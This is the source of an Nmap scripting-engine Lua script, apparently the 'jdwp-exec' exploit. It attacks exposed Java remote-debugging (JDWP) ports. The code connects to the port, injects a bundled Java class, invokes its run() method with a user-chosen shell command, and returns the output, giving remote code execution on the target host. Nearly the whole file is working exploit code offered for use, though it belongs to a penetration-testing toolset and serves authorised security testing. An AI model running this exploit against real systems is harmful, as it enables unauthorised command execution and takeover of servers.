local bin = require "bin"
local io = require "io"
local jdwp = require "jdwp"
local stdnse = require "stdnse"
local nmap = require "nmap"
local shortport = require "shortport"

description = [[
Attempts to exploit java's remote debugging port. When remote debugging
port is left open, it is possible to inject java bytecode and achieve
remote code execution.  This script abuses this to inject and execute
a Java class file that executes the supplied shell command and returns
its output.

The script injects the JDWPSystemInfo class from
nselib/jdwp-class/ and executes its run() method which
accepts a shell command as its argument.

]]

---
-- @usage nmap -sT <target> -p <port> --script=+jdwp-exec --script-args cmd="date"
--
-- @args jdwp-exec.cmd Command to execute on the remote system.
--
-- @output
-- PORT     STATE SERVICE REASON
-- 2010/tcp open  search  syn-ack
-- | jdwp-exec:
-- |   date output:
-- |   Sat Aug 11 15:27:21 Central European Daylight Time 2012
-- |_

author = "Aleksandar Nikolic"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit","intrusive"}

portrule = function(host, port)
  -- JDWP will close the port if there is no valid handshake within 2
  -- seconds, Service detection's NULL probe detects it as tcpwrapped.
  return port.service == "tcpwrapped"
  and port.protocol == "tcp" and port.state == "open"
  and not(shortport.port_is_excluded(port.number,port.protocol))
end

action = function(host, port)
  stdnse.sleep(5) -- let the remote socket recover from connect() scan
  local status,socket = jdwp.connect(host,port) -- initialize the connection
  if not status then
    stdnse.debug1("error, %s",socket)
    return nil
  end

  -- read .class file
  local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPExecCmd.class"), "rb")
  local class_bytes = file:read("*all")

  -- inject the class
  local injectedClass
  status,injectedClass = jdwp.injectClass(socket,class_bytes)
  if not status then
    stdnse.debug1("Failed to inject class")
    return stdnse.format_output(false, "Failed to inject class")
  end
  -- find injected class method
  local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)

  if runMethodID == nil then
    stdnse.debug1("Couldn't find run method")
    return stdnse.format_output(false, "Couldn't find run method.")
  end
  -- set run() method argument
  local cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd')
  if cmd == nil then
    return stdnse.format_output(false, "This script requires a cmd argument to be specified.")
  end
  local cmdID
  status,cmdID = jdwp.createString(socket,0,cmd)
  if not status then
    stdnse.debug1("Couldn't create string")
    return stdnse.format_output(false, cmdID)
  end
  local runArgs = bin.pack(">CL",0x4c,cmdID)  -- 0x4c is object type tag
  -- invoke run method
  local result
  status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs)
  if not status then
    stdnse.debug1("Couldn't invoke run method")
    return stdnse.format_output(false, result)
  end
  -- get the result string
  local _,_,stringID = bin.unpack(">CL",result)
  status,result = jdwp.readString(socket,0,stringID)
  return stdnse.format_output(status,result)
end

